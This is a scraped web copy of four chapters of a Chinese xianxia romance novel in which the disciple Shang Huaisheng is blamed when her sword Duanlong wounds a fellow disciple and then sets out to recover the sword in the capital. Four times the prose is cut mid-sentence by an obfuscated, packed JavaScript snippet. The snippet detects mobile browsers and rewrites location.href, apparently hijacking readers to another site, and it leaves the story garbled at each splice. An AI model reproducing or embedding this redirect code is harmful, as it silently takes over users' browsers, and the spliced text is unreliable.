年玉兄弟赶来时,金田已经昏死,脸色苍白,气息微弱,衣裳上满是血迹,腹部一道狰狞的伤口,像被滚烫的烈焰灼烧过,透着烧焦的味道。 兄弟二人对视一眼,问玉淡淡地说:“兄长,这就是你说的''一直无恙''?” 年玉陷入沉默,封住金田的穴道,避免剑气侵入他心肺,食指中指在空中游走,画出一道淡金色的符咒,笼罩住金田的身躯。 闻惠看清那符咒,眼眶中顿时盈满泪水,“师父,他伤得这么严重,竟到了用束魂咒的地步?” 只有将死之人,想留住魂魄见家人最后一面,才会用此符咒。 “也不是无药可医,此举只是暂时保住他性命。”年玉道。 问玉:“断龙非同寻常,万年前斩妖斩魔,死在他剑下的神仙也不在少数,幸亏你来得早,若是剑气侵体,他便彻底没有救了。” “断龙……?”闻惠怔愣片刻,眼中爆发出怒火,“是商怀笙!我原以为她是年少无知,小打小闹也就罢了,没想到她竟然忍心对同门下此狠手!!师父,您要为我的徒儿,您的徒孙做主啊!” 年玉垂眸,深吸一口气,道:“去将商怀笙带来。” * 商怀笙鲜少涉足三山宗境内,与他们门派的人起冲突大都在和神山,或是其他交界之处,第一次来到对方地界,便被押到了惩罚犯错弟子的万宗祠堂。 普通的禁锢术是无法捆住她的,但这次商怀笙没有反抗,因为带她来的是秦湫和元妄。 金田被断龙所伤,危在旦夕,商怀笙作为剑主,难逃其咎。 万宗祠堂外聚集起许多三山宗弟子,见商怀笙过来,各个怒目横视,恨不得能啖其血肉。 “就是她伤了金田!” “金田都快要死了,她还这么淡然,实在可恶!!” “是她吗,那个力气很大的疯子?” “听说她在军营长大,手里沾满人命,四水阁怎么会收这种罪孽深重之人?” “嘘——她看过来了。” 秦湫抬手,关上万宗祠堂的大门,将议论声阻隔在门外。 祠堂之上,是常春阁阁主徐穆楚的牌位,年玉两兄弟,宋良白各立于一侧,一缕香烟缭绕而起,烛火跳动,闻惠明艳美丽的脸庞在阴影中显出几分阴森,她面带火气,单手按在剑柄。 “是她,伤了我的徒弟!” 闻惠语中带着怨恨,秦湫与元妄挡在商怀笙面前,一左一右,将她护的严严实实。 秦湫道:“师父,怀笙一直是我在照料,教导不严,是徒儿的过错。” 元妄道:“是我指导怀笙修行,出了任何差池,徒弟愿意承担。” 宋良白看着二人,露出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941438|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 无语的神色,“我还没说什么,你俩这么急切地认什么罪!” 年玉看一眼被挡在两人之后的商怀笙,道:“怀笙,断龙伤人,你可知情?” “我禁足一个月,只见过断龙三次。三日前夜里它被我招了回来,隔日又离开,之后便再也没见过。” 商怀笙得知断龙伤了金田,先是觉得畅快,之后便陷入了迷茫和怀疑之中。 她和断龙还没有心有灵犀到这种地步,而且断龙当年认主,是她用暴力降服了断龙,断龙并没有真心顺从她,否则她也不会现在都没有突破识灵期。 她尝试感应断龙的位置,却发现它不在自己身边,以前从没有过这样的情况。 商怀笙说:“断龙伤人,我并不知情。” 闻惠出言反驳:“除了你,还有谁能操纵断龙,定是你恨金田入骨,断龙作为你的灵器感知到你的心意,才会出手伤了金田!这么多年来我一直对你们之间的争斗睁一只眼闭一只眼,可没想到你竟然心狠至此。” “断龙一直不肯顺服,我迟迟没能与它结器,这是宗门的共识。”商怀笙抬眸与闻惠对视,淡定的表情与愤怒的闻惠形成鲜明的对比,“你徒弟常以此事嘲讽于我,想必你也知晓。” 闻惠:“你——!” 宋良白大喝一声,“闭嘴!我刚才便说了,将怀笙带来只是询问,你们现在急着给她定什么罪!” “我想到我的徒儿,心中难免怨愤。”闻惠抚着心口,眼角泛红,“整个四水阁,除了她,还有谁能催动断龙?” 秦湫道:“怀笙是能催动断龙,但断龙难驯也是公认的事实,一时失控也不无可能。” “她禁足一月都无事,怎么刚一出来就受了伤,这未免太巧了!”闻惠死咬着商怀笙不放,跪下向年玉请命,“师父,请您为徒儿主持公道!” “……你先起来。”年玉露出为难的神色,“断龙的确有野性,商怀笙作为断龙的主人,按理来说……” “年玉!”宋良白打断他,站到三人跟前,“你别忘了,当年是谁提议让怀笙去唤醒断龙的?” “……” “……” 空气凝滞之时,一直沉默的问玉道:“此事并非商怀笙所为,今日在吕悠的天泉山,我们见过面。” 他一开口,将所有人的目光吸引过去。 他将闻惠扶起来,道:“从你来告知我们的时间推断,金田被伤不超过半个时辰,否则必然毙命。而半个时辰前,我和她同在天泉山,那么短的时间伤人再离开,她做不到。” 他微微侧头,目光轻飘飘地扫过来,眼神中仍透着对商怀笙的不满,说着为商怀笙证明的话,却又好像带着置身事外的冷漠。 “兄长,为今之计,应该把断龙先找回来,防止它继续伤人。” 说着,他朝商怀笙走过来,秦湫与元妄警惕地上前一步,商怀笙却走出了二人的保护圈,站在他面前。 “把手伸出来。”问玉说。 商怀笙听话照做,摊开掌心,问玉隔着衣裳将手搭在她的腕上,一团黑红色的小小旋涡出现,凝成一个灿烂的太阳的图腾。 背景之外,年玉与宋良白对视,又迅速移开视线。 前者垂首低眸,深吸一口气,后者怔怔地盯着问玉与商怀笙,若有所思。 11. 第十一章 “就算你替我说话,我也不会对你感恩戴德。” 从祠堂出来,商怀笙便跟问玉划清界限。 问玉走在前方,听到她的话停下脚步,气得发笑,“看来你不仅无礼,还不懂感恩。” “就算你不替我说话,吕师姐也会为我证明。”商怀笙顿了顿,说,“我本就无错。” “你无错?身为剑主,不能管教自己的灵器,你当然有错。” “断龙是神器,它本就不认我。” “可它选择了你。”问玉说,“断龙的上一任主人陨落后,它已经沉睡数千年,它不会随随便便地选择一个普通人出来,你就是它的主人。可你从没把自己当成过它的主人。” 商怀笙眸光微动,再看向问玉时,眼中多了几分迷茫。 她从没想过这一点。 宋良白说要收她为徒,教她修行,她便修了; 他们说要赠她一把神器,她便收了; 断龙难驯,他们说只要压制它就好,商怀笙也听了。 她一开始来到这里,只是为了吃饱饭睡好觉,为什么修行,为什么要做断龙的主人,她统统没有想过。 商怀笙眼睛眨了眨,怔怔地看向他,问玉无奈地摇头,说:“你先不必想那么多,先把它找回来才是第一要紧事。” 商怀笙第一次没有反驳他,乖乖地“哦”了一声,“你是怎么做到的?” 她摊开手,“那种图腾。” “断龙与剑主一直有这样的感应,只是你还不会运用。” 商怀笙似懂非懂地点点头,“那我能不和你一起去吗?” 宋良白与年玉商议后,决定让问玉带着商怀笙一同前往日曜城,将断龙带回来,秦湫、元妄与闻惠同往。 秦湫和元妄从小就陪在商怀笙身边,于她而言如父母一般,她从前下山也是两人陪同,问玉和闻惠就明摆着是来监视她的了。 但商怀笙宁愿和对她充满怨气的闻惠一起前往,也不想和问玉在一起。 问玉搭上她手腕的时候,比得知金田被断龙所伤还让她惊慌,两人毕竟有过肌肤之亲,她怕问玉想起什么来,不敢和他触碰。 “你觉得呢?”问玉笑得温柔,挑挑眉,像个笑面虎,“你以为我很想和你一起去吗?若不是你惹出这些事,我半点不想和你们四水阁扯上关系。” 商怀笙:“那你还去找吕师姐。” “年纪不大,管的倒是挺多。”问玉敛起笑容,“天泉山从前也是常春阁地界,我当然能去。” “为老不尊,倚老卖老。” “哈哈,你个小白眼狼。” 两人瞪着眼睛互呛一番,以秦湫来把商怀笙带走收场。 问玉揉着酸疼的眼睛,向年玉抱怨道:“宋良白收的这徒弟,他倒是溺爱得很。” “你不也觉得她有趣吗?” 问玉露出嫌弃的神色,“我什么时候?” 年玉笑道:“按你以往的脾气,早在她说第一句话的时候就该动手了” “我是看她年少无知。” “怀笙这孩子,很特别。” “特别到你主动让她去唤醒断龙?” “咳。”年玉眸底闪过一丝不自在,“我只是想试一试,没想到成功了。也怪我思虑不周。” “所以兄长才想让我跟着她一同前往日曜城?” 年玉点点头,拍拍他的肩膀,言辞诚恳,“断龙是你带回来的,没有人比你更了解它,有你的教导,怀笙说不定能有所突破。” 问玉冷哼一声,“兄长对旁人的徒弟倒是上心。” 年玉没说话,知道他这是同意了,轻轻抿了下唇角,又抬眸望向远方。 * 日曜城是庆州的主城,也是大庆的国都,皇权所在,也是人群最密集的地方,断龙如果在这种地方失控,会造成极大的影响,宋良白让他们明日便出发,寻回断龙。 秦湫已经在收拾东西,商怀笙跟在她身后,满心不愿,“师姐,我们今晚就出发好不好,我不想和问玉一起去!” “不可。”秦湫给她带了几件贴身衣物,转身时,发现商怀笙正抓着她的衣裳,“这是师父与年玉师叔安排的,不能不听,而且你以后不能再直呼其名,要叫他师叔。” “可师父和年玉已经分家,问玉也不算是咱们的师叔。” “他毕竟是长辈。” 商怀笙小狗似的步步跟着秦湫,苦着一张脸,十分委屈,“师姐,他分明是来监视咱们的。” “三山宗与四水阁敌对数年,还是头一次……差点闹出人命来。”秦湫伸手揉了揉她的脸,说,“我们自然信你,但金田是闻惠的徒弟,她心中难免愤怒,问玉师叔和我们同往,也是为了保护你。” 商怀笙瘪嘴,“我宁愿只有闻惠跟着。” “你这么不喜欢问玉师叔吗?怪他害你去花杨林?” “……嗯,不喜欢。” 商怀笙有几分心虚,撒开拉着她衣裳的手,坐到桌旁,“我不喜欢他。” “但我看师叔好像挺喜欢你的,他以前很少跟晚辈说这么多话。” 商怀笙听得起了一身的鸡皮疙瘩,“师姐,你不要乱讲,哪里看出来他喜欢我了!” 秦湫想了想,笑道:“你程师兄以前也骂过他倚老卖老,问玉师叔将他封在湖中冰封三日,二师兄出来的时候连话都不会说了,一直到现在都这么沉默寡言。” “嘶——这人的手段还真是恶毒。许是年纪渐长,心也善了。” 秦湫捂唇大笑,“以后可不许在他面前乱说话。” “是——”商怀笙拉着长音,“我以后都听师姐的。” “你们聊什么呢?这么开心?”元妄不知何时站在门外,笑嘻嘻地看着二人,“都收拾好了?” 秦湫道:“不知道要去多久,行李带的不多。” 元妄:“无妨,回头到了日曜城再给你们买新的衣裳。” 说完,他看向商怀笙,眉眼如弯月,“怀笙,上次没能给你好好过生辰,答应你的,师兄都给你补上。” “真的吗?!”商怀笙顿时跳起来,低落的情绪一扫而空,上次没能和师兄师姐一起下山过生辰,商怀笙一直耿耿于怀。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941439|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“当然。漂亮的衣服首饰,美味佳肴,还有俊美的男子,想要什么有什么!师兄有的是钱。” “嘿嘿,好啊!” 商怀笙激动地跑向元妄,被秦湫抓住衣领,猛地往后一仰,木头似的横在半空。 “衣服首饰这些也就罢了,但你要是把你不三不四的那套教给怀笙,别怪我不客气。”秦湫说话时还是温柔地笑着,只是锋利的目光威慑力十足。 商怀笙与元妄对视一眼,双双低下头。 秦湫松开手,对商怀笙道:“你去检查一下,看有没有遗漏什么东西。至于你,把你包袱里乱七八糟地都扔掉,别让我瞧见。” “是。”两人异口同声,乖乖照做。 趁秦湫转身的功夫,元妄朝商怀笙眨眨眼,商怀笙也回他一个大大的微笑。 该有的一个都不能落! 但要背着秦湫,偷偷的。 有元妄的许诺,商怀笙觉得这次去日曜城也不是什么令人痛苦的事情了。 男女之事她已经跟问玉体验过,但当时她身中蛊毒,只是一味地渴求着纾解,大脑混沌,隐隐觉得舒爽,却根本没机会好好感受。 这次她一定要好好体验一把! 五人天不亮便在和神山会合,闻惠还是那副对商怀笙恨之入骨的神色,瞪她一眼后便再没正眼瞧过她,问玉一身白衣,在清晨的薄雾中如鬼魅般清冷。 商怀笙瞥一眼他被玉带勾勒出的腰肢,心里痒痒的:因为元妄那一番话,昨夜她梦见在囚龙谷与问玉的种种,忆起他泛着薄红的身躯,抱着她时炙热的温度…… 难怪元妄风流,这种事情确实有那么几分难忘。 商怀笙想的出神,目光不自觉地上移,猛地对上问玉冰冷的目光,吓得一个激灵。 坏了坏了,她想什么呢。 这人可不能想,可是要她负责的麻烦精。 商怀笙将目光收回去,扭过头,似乎轻哼了一下,落在问玉眼里,又是一副不满不屑不甘心的模样。 还真是个犟种。 兄长还想让他教导这家伙,要是真当她师父,没几天就会被她气死。 问玉也不悦地移开目光,一股莫名其妙的紧张气氛在二人之间弥漫开来。 剩下的三人也不知他为何突然就不开心了,秦湫作为同辈中资历最深的,便出来打圆场,“时候不早了,咱们早些出发吧,中午便能抵达日曜城。” 说完,她将手搭上商怀笙的肩膀,“怀笙,你和我一起。” 商怀笙没了佩剑,也无法御剑,便跟上了秦湫,其他三人各自召出自己的武器,闻惠的柳叶弯刀,元妄的青藤鞭,问玉唤出的,却是把木剑,像是集市上会卖给小孩的玩意儿一样,并没有任何特别之处。 商怀笙明明记得,他在囚龙谷的小屋里有一把佩剑,不知为何没有带在身边。 说起来,她这几次见到问玉,都没见他佩剑。 商怀笙好奇地多看了几眼,刚想问秦湫,就被秦湫捂住了嘴巴。 “回头再告诉你。” 说罢,驭风疾行,瞬间便离开了和神山。 12. 第十二章 如秦湫预料的那样,他们午时便抵达了日曜城。 日曜城地处庆州大陆中心地带,三面环山,一面环海,易守难攻,且有着丰富资源,一条敬河横贯日曜城,汇入大海,是庆朝的国都。 庆州从前并无庆朝之城,四大主城相互制衡,鼎足而立,但日曜城李氏一族野心勃勃,借助财力招揽天下能人异士,在数年前统一庆州,吞并四城,建立了李氏王朝,称为“庆”。 十几年前局势动荡,其他三城合力谋权篡位,皇位几经变更,最终落回李家手中,现在的庆朝皇帝,是当年三王爷,李昱辰。 经历过水深火热的战乱,李昱辰在短短三年便掌控局面,推行改革,恢复经济,重用贤才,巩固国防,还加强了对其余三城的监管,但减免赋税,笼络人心,迅速将庆朝恢复了战乱前的模样,甚至开创了更加繁荣昌盛的国都。 百姓都赞他是百年难遇的明君,盛传他当年登基之时,有真龙问世,金光照耀整个日曜城,之后十年,日曜城风调雨顺,百废俱兴,种种迹象,皆表明李昱辰乃是天命之人,对他愈加崇拜。 时至今日,人们仍对此津津乐道。 五人在日曜城回墨长街下榻,这里坐落于皇城脚下,是文人墨客的聚集地,也常有仙人道士来访。 他们一来便听到那说书的在歌颂当今的皇帝,一顿饭的功夫已经把他夸得上天入地无所不能,商怀笙心道当年宋良白就不该那么大张旗鼓的出现,让李昱辰借他的名义狐假虎威这么多年。 那说书的老头说的天花乱坠,又在末尾添上一句:“眼下四城安稳,百姓和睦,诸国诚服,都离不开咱们天策神威大将军!” 天策神威大将军?商怀笙竖起耳朵,是在说她吗? 又听那老头话锋一转,道:“咱们大将军年岁不过十七,十岁上战场,十二岁攻破云月都,连易守难攻的云坞都轻而易举收入麾下……” 才十七岁,看来不是她。 商怀笙有些恍惚,看来在她走后,三王爷又找到了新的兵器。 她站在二楼,听得出神,没发觉有人站在她身后,待她察觉寒气之时,一道剑气擦着她耳边飞过,所幸力道不重,很快消散空中。 “你在这里做什么,还不赶快去找断龙!” 闻惠见了她就是这副气鼓鼓的模样,商怀笙因她暗算心生不悦,但秦湫再三叮嘱她不要惹事,她又忍了下来。 “我感觉不到断龙的气息。”商怀笙说着,看见问玉从走廊另一头走过来,“喂,你快来。” “你在叫谁?”问玉缓缓走过来,“喂?” “……”商怀笙顿了顿,艰难地从口中挤出两个字,“师叔。” 问玉抱着胳膊,“我不是你师叔。” “……道长。” “你今日倒难得的乖顺。” “……”商怀笙咬牙微笑,伸出手掌,“道长,咱们快些找到断龙,好回去交差。” 问玉却没有下一步动作,“我找不到它,它是你的武器,你要自己感受它。” “可我感受不到它,这里的气息太杂乱了,正方便它隐藏。” “那我也没办法。” 说完,他转身离去,留下商怀笙愤然握拳,许多想骂人的话硬往肚子里咽。 闻惠的目光在她和问玉的背影上扫过一圈,眉头深深皱起,“商怀笙,你修行十几年,连自己的灵器都感受不到吗?” 商怀笙身体微微颤抖,“不能。我试过了。” “你……唉,你真是……你除了空有一身力气,还有什么用……我都不知道该怎么说你,等你把断龙带回去,我要提议师父重新审判你是否有继续拥有断龙的权力。” 商怀笙顿了顿,道:“那就多谢你了。” 闻惠剜了她一眼,转身追随问玉而去。 目送她的身影消失,商怀笙又转过身,下面说书的已经退场了,客栈里吃饭的时候喝酒的喝酒,文质彬彬的书生,配着刀剑的江湖人士,还有几个穿着统一门服的修士,一派祥和。 商怀笙再一次尝试感受断龙的位置,在脑海中寻觅那一抹身影,可是黑与红交织,很快染成一片血海,在她眼前蒙上一层深红色的雾,现在楼阁层叠,繁荣富庶的日曜城,好像瞬间变成了一片废墟。 无助的女人抱着孩子的尸骨哭泣,眼下两行血泪,身旁倒着身穿战甲的男人,长矛不甘地指向商怀笙的方向,远方传来急促的马蹄声,千军万马,踏破城墙…… 她其实不太喜欢这个地方。 本以为幼时的记忆已经模糊了,但是一踏入日曜城她便觉得不舒服,许是从前被她杀死的冤魂还停留在此处,又一次缠上了她。 商怀笙回到房中,秦湫在收拾行李,她跟在秦湫身后,握着她的胳膊。 “回来了?不是说要去玩玩?” “有点累。” “饿了?” “……嗯。” “你最近也没用什么力气,怎么饿得这样快?一会儿把元妄叫出去吃点东西,这里有许多的小吃,在四水阁是吃不到的。” “好。” 秦湫转身,见她兴致乏乏,便放下手上的东西,搂着她肩膀,“你从前在这里生活过吧?” 商怀笙摇摇头,“只住过几天而已。” 但她在这里杀过很多人。 “既然已经拜入师门,前尘便尽可斩断了。我收拾好了,你叫上元妄,咱们出去逛逛?” 听到要出去玩,商怀笙稍稍开心了些,转头跑去对面敲元妄的房门。 三人出了客栈,元妄首先便将二人带去了齐物汇的成衣店。 元妄一身月白色锦缎长袍,精致非常,袍身绣着竹叶纹,外面还披了件草青色纱衣,轻薄如烟,随风飘动,头发也是精心打理过的,虽然只有一根银色束带,但额前留的几缕碎发颇有心机,衬得他本就俊美的脸庞更加迷人。 他这副孔雀开屏的模样,秦湫知道他定是要去沾花惹草了,便警告道:“别忘了师父是怎么说的,你要是再乱来,以后花杨林就是你家。” 元妄唇角扬起,道:“难得出来,我不能好好打扮一下?像你们俩这样灰头土脸的,若是遇见旁的修士,多丢咱们四水阁的面子?” 商怀笙低头看了看自己和秦湫的衣裳,虽然都是素色,秦湫也没怎么装扮,但是清水出芙蓉,依然美丽动人。 她道:“师姐美得很,不要听他乱讲。” 元妄笑容顿时消失,吃醋道:“每次你都向着你师姐,我也是辛辛苦苦把你养大的。” 商怀笙没说话,与秦湫贴得更近了些。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941440|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 元妄气得摆手,“亏我还带你来买衣裳,你个小没良心的!” 成衣店老板带出来好几件华丽的衣裳给两人试穿,商怀笙想了想,道:“师兄也玉树临风,帅气逼人。” 元妄心情好起来,“那我是不是你见过最俊美的男子?” 从前商怀笙都毫不犹豫地点头说是,这次却迟疑了片刻,才道:“我觉得问玉稍稍好看一些。” “……”元妄的脸瞬间耷拉下来,“你还要不要我付钱了?” 秦湫轻轻拍她一下,商怀笙又改口道:“是,师兄是。” 然而为时已晚,元妄已经低下头,颓丧不已,任凭商怀笙怎么说尽好话,他都不肯回答,但还是为两人付了买衣裳的钱,闷闷不乐地跟在两人身后。 秦湫看他这幅模样,忍不住笑道:“你从前说怀笙诚实,总说真话,所以她夸你时你格外开心,现在怎么不开心了?” “问玉一回来,我四水阁第一美男的称号又要拱手让人了。” 商怀笙道:“问玉不是四水阁的,你依然是四水阁第一美男。” “哈哈哈哈哈……” 秦湫笑出声来,元妄脸色更差,快走几步揪住商怀笙的耳朵,“你不是不喜欢问玉吗?为什么觉得他好看?” “我是不喜欢他,但他好看是事实。” 这话一说出来,元妄更伤心了,小声道:“亏我还给你花钱,还给你买衣裳,从小把你养到大……” 他碎碎念了一路,秦湫便笑了一路,“不怪怀笙,问玉师叔就是性格差了一些,但容貌是公认的宗门第一。” “哼。”元妄板着脸,给商怀笙买了一堆的东西。 三人从回墨长街来到齐物汇,这里是日曜城最繁华的地带,商铺林立,街道上回荡着叫卖声与器乐声,熙熙攘攘,人头攒动。 问玉与闻惠也随着三人来到此处,只是并未和他们一样闲逛,站在楼阁上盯着三人的动向。 闻惠道:“我还以为他们是来找断龙的,没想到在这里闲逛起来。师叔,您为何不帮商怀笙寻找断龙的位置?” “我不想帮她。”问玉说着,看向人群中贴着秦湫笑逐颜开的商怀笙,“有些事要她自己做才行。” 闻惠心中疑惑,却又不敢追问,只低头沉默。 眼看三人到了人群最密集的地带,四周却突然响起了号角声与马蹄声,底下的人群如被裁开的缎带分成两条,留出中间的主干道来。 远处,旌旗猎猎,一支浩浩荡荡地军队正缓缓朝着他们的方向行进,盔甲与兵器碰撞出声响,为首之人身披银甲,踏着雪白战马,英姿飒爽,她身后的军队整齐划一,步伐铿锵有力,铁甲在阳光下闪烁着冷冽的光芒。 客栈的那个说书的好像提过,这几日有四城会面,三城主事都会参加,来人这幅架势,应该就是云月都的监管者,传闻中的天策神威大将军。 随着他们走近,人群中爆发出阵阵欢呼,声如浪潮,几乎要将人淹没。 商怀笙抬眸,想看一看这位大将军的样貌,却只能在逆光中描摹出对方侧脸的轮廓,目光下移到对方的盔甲,她微微一愣。 而在楼阁上的闻惠却是看清楚了那将军的样貌,惊讶地看向问玉:“师叔,她长得好像……和商怀笙有几分相似。” 13. 第十三章 这位将军的军队很快离开了齐物汇的主干道,分开的人群自动聚拢,避入小巷的商贩又重新回来,街道上恢复了她来前的模样,但来往的行人还沉浸在见到这位战功赫赫的大将军的喜悦中。 “大将军从云月都回来了,早知道她来,我便去城门迎接了。” “没想到竟然会在这里见到她。” “大将军果然英明神武,听闻陛下要册封她为亲王,不是这册封的旨意何时下来。” “我怎么听说陛下要为将军和太子赐婚,这次三城朝见便是为了宣布此事?” “咱们那位太子……唉。” 商怀笙竖着耳朵听他们聊了许多,对这位天策神威大将军皆是赞赏,但提到当朝太子时则欲言又止,似有什么不敢说出口的话。 元妄道:“前段时间倒是听游历云月都的道友聊起过,云月都空了三十年的将军府来了位新的主人。” “云月都那种地方,有什么值得游历的。”秦湫对人间的政治并不关心,只暗暗观察着尚怀笙的神色,“空有个诗意如画的名字,却是个实打实的险恶之地,常年不见太阳,云雾缭绕,怨气横生。” 元妄笑道:“凶险之地自然是凶险之地的趣处,回头等怀笙得空,我带你去那里玩玩?” 两人的目光都汇聚到商怀笙的身上,商怀笙半晌才回过神来,点头道:“好啊。” “发什么呆呢?”秦湫问。 商怀笙想了想,说:“没什么,我好像也在云月都待过。” “记不清了。”她挽起秦湫的胳膊,说:“师姐,我们走吧。” 夕阳西下,给石板街道渡上一层金灿灿的光,商怀笙三人回到客栈,一上楼便见闻惠在廊上站着。 “你们真当是来游玩的了?断龙现在下落不明,你们还有这份闲心。” 原本姣好的面容因为阴沉的脸色而变得有一丝狰狞,闻惠从前与商怀笙的关系还算和睦,虽然商怀笙与她的弟子经常打架,但遇见彼此还是会礼貌地点头示意。 金田出事后,她对商怀笙的态度一百八十度大转弯,一看到她便要摆脸子。 元妄开口道:“这不是没出事吗,你何必这样疾言厉色?” 闻惠瞪他一眼,似乎将商怀笙的仇恨转移到了他的身上,“若不是你们教导无方,她怎么会变成现在这幅模样?元妄,我从前便说过,你这样的人不可能成为好父亲。” 她这话说的有些奇怪,商怀笙瞥见元妄嘴角抽动,无奈地垂下眼眸,闻惠则是又瞪她一眼,转身愤然离去。 回了房间,秦湫才告诉商怀笙,元妄与闻惠有过一段情,甜蜜过几个月的光阴,又骤然分手,谁也不知道发生了什么。 元妄从前风流,但始终秉持着兔子不吃窝边草的原则,从不招惹门派内的姑娘,他与闻惠的感情在人间相识,彼此不知道对方的身份,分手后又见面,更加尴尬。 “不过此事也过去百年了,你师兄的风流债数不胜数,不在乎这一件。” 师姐师兄拜入师门的时间,最短的也有六十几年了,修仙使他们保持着年轻时的样貌,每次听他们顶着青春的脸颊提起“百年前”“三十年前”“数百年前”这样的词汇,商怀笙总觉得恍惚。 修道之人摒弃前尘,他们的父母亲朋,若是凡人,早在这百年的时光中老去,步入轮回。 商怀笙也有十几年没见过她的父母了,他们的模样已模糊,幼时生活的渔村也只剩虚幻的泡影,她甚至不知道那里属于什么地方。 她的童年记忆被饥饿充斥着,兄弟姐妹众多,大家不甚亲密,也没什么值得怀念的。 商怀笙坐下来,想着闻惠的话,问道:“她为什么说师兄不会成为好父亲,他们曾经有过孩子吗?” “大概是没有的,你师兄与女子谈情说爱,总爱构建那些虚幻美好的将来,一个乖巧可爱的孩子,恩爱和睦的父母……不知道骗了多少无知少女。” 那些风流债找上门时,秦湫作为师姐,也见过一些不死心想要挽回的女子,听着那些女孩哭诉着曾经的美好点滴,秦湫也是万分无奈,元妄甚至连说辞都不愿意换一换。 “我与那些姑娘都是和平分手,你少在怀笙面前诋毁我。” 元妄突然出现在窗边,吓得商怀笙心都吊起来。 “你大半夜的跑到别人窗外做什么?”商怀笙问。 元妄道:“我本想走正门,但是闻惠在外面守着,我实在不想见她。” 商怀笙道:“你真与闻惠有过一段情?” 元妄摆摆手:“往事休要重提,怀笙,你出来,我带你去个地方。” 秦湫拦住正要起身的商怀笙,“你带她去哪里?大晚上的,不许带她去那些不三不四的地方!” “你怎么老把我想得那么不堪?是问玉师叔要见她。” 商怀笙闻言,一屁股坐下,“我不去。” 元妄:“为何?” 商怀笙:“大晚上的,我才不出去。” 更何况还是去见问玉,她半点都不想见他。 元妄把身子探进来,双腿悬在半空,“我之前就想说了,你好像格外不喜欢问玉师叔。啧,难道是因为师叔教训过你,你怕了他?” “我才不怕他!”商怀笙嘴比拳头硬,“我就是不想见他。” 元妄笑道:“问玉师叔见你,是要帮你找到断龙,入夜后百姓安眠,气息会相对平稳,更容易发现断龙的位置。” 商怀笙陷入犹豫中,他所言不虚,现在的确是个好几回,可要她和问玉相处…… 她纠结地皱起眉,这种时候确实不应该把自己的私人情感带进来。 秦湫道:“你便去吧,早点找到断龙,也好早点回去交差,不然心里装着这块石头,玩都玩的不尽兴。” “好吧。”师姐都发话了,商怀笙不能不听。 她来到窗前,元妄带着她在空中飞行,俯瞰日耀城的夜晚,齐物汇还亮着灯光,狭长的一条商业街,如同亮金色的丝带系在这座城市的身上,齐物汇旁边便是贯穿日耀城的敬河,在黑夜中静谧流淌,倒映着月影,似乎能包容万物。 他们很快来到一座高楼之上,是日耀城的最高处,依皇宫而建的祈星台,这里也是宋良白将她带走的地方。 夜幕低垂,星河璀璨,祈星台历经风雨,满布岁月的痕迹,台基表面已经被磨的光滑如镜,却依然巍峨矗立于皇城之巅,似在守护着这一方土地。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941441|177370||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 台顶平坦宽阔,问玉静立其间,身姿挺拔,衣袂飘扬,玄袍上银线绣成的星图暗纹,与漫天星辰交相辉映,他转身望来,眉如远山,眸若寒星,仿佛是这祈星台上的祭司,冷漠疏离,俊美如神邸,矜贵不可侵犯,看的人心里痒痒的。 商怀笙看得眼睛都发直了,默默咽了下口水,元妄一眼便看穿她的心思,一巴掌拍在她肩上,小声道:“小色鬼,这可是三山宗的人,不许瞎想,回头我给你找更好的。” 商怀笙脸庞微红,低声辩解,“我是被风吹的,被风吹的!” “师叔,我将怀笙带过来了。” 元妄把她放下便要离开,临走前给她使了个眼色,警告她一定要谨慎行事。 商怀笙冲他眨眨眼:交给我,你放心。 元妄一走,祈星台上便只剩下她和问玉了,商怀笙的目光追随着问玉被风吹起的长发,心思也跟着飘远了。 她记得问玉的头发很长,黑滑如缎,披在腰间,随着他的动作晃动,给本来清冷的人添上几分魅色。 她好像还拽了他的头发,挨了问玉一巴掌,不痛,但勾的人心里酥痒。 商怀笙满脑子都是污秽之事,一对上问玉冷峻的眼眸,瞬间被祈星台的冷风给吹醒了。 “道、道长。” “你看起来很累。” 商怀笙站得笔直,“道长,我不累。” “不累就专心点。”问玉没好气地说。 商怀笙心里还想着那些禁忌画面,一时心虚,便没了从前句句都要反驳的架势,垂首道:“晚辈知错。” “你真是……知错就好。” 